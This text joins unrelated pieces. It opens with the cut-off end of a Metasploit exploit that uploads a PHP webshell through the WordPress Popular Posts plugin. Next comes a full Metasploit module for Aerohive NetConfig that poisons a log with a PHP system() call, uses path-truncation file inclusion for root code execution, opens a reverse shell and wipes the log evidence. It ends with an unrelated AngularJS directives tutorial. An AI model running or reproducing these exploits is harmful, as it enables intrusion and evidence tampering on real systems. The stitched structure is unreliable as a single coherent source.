'5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('Target is not an Aerohive NetConfig application.') end version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Could not determine Aerohive NetConfig version.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("The target is Aerohive NetConfig version #{version}") else print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.') return CheckCode::Safe("The target is Aerohive NetConfig version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Poison /tmp/messages print_status('Attempting to poison the log at /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages') end print_status('Server responded as expected. Continuing...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Attempting to clean the log file at /tmp/messages...') print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.') begin # We need remove the line containing the PHP system call from /tmp/messages # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username. # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same: # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"") # Wait for cleanup Rex.sleep 5 # Check for the PHP system call in /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # using =~ here produced unexpected results, so include? is used instead unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Check for the PHP system call in /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # using =~ here produced unexpected results, so include? is used instead unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error during cleanup: #{e.message}") ensure super end unless log_cleaned print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages") end end if log_cleaned print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.') else print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}") print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.') print_warning('Deleting /tmp/messages or clearing out the file may break the application.') end end def execute_command(cmd, _opts = {}) print_status('Attempting to execute the payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation @shell_cmd_name => cmd } }, 0) print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend
sn0112358
Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a <div> and inside a <h1> tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: <dir-display></dir-display> Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes <my-directive></my-directive>. You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "geofdude@gmail.com" } Now inside your directive's html specifically inside the <h3> tags display our new user's name. Then inside maybe some <h4> tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - <dir-display test="myTest" my-check="checkItOut"></dir-display> Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "geofdude@gmail.com", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "fredeed@gmail.com", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "spencerrentz@gmail.com", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "geddupngo@gmail.com", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "gernee@gmail.com", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an <h3> tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. <example-directive string="a string" link="user" func="updateUser()"></example-directive> The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. <my-directive pass-func="callFunc(data)"></my-directive> Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes.
